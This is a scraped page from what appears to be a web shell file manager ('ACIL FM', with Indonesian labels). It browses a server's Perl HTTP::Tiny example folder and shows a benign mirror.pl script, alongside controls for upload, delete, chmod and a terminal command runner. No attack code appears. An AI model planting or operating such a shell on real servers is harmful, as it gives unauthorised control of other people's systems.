ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-HTTP-Tiny/eg
/
usr
share
doc
perl-HTTP-Tiny
eg
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
get.pl
395 B
chmod
View
DL
Edit
Rename
Delete
mirror.pl
392 B
chmod
View
DL
Edit
Rename
Delete
post.pl
568 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-HTTP-Tiny/eg/mirror.pl
#!/usr/bin/perl use strict; use warnings; use HTTP::Tiny; my $url = shift(@ARGV) || 'http://example.com'; my $file = shift(@ARGV) || 'example.output'; my $response = HTTP::Tiny->new->mirror($url, $file); print "$response->{status} $response->{reason}\n"; while (my ($k, $v) = each %{$response->{headers}}) { for (ref $v eq 'ARRAY' ? @$v : $v) { print "$k: $_\n"; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply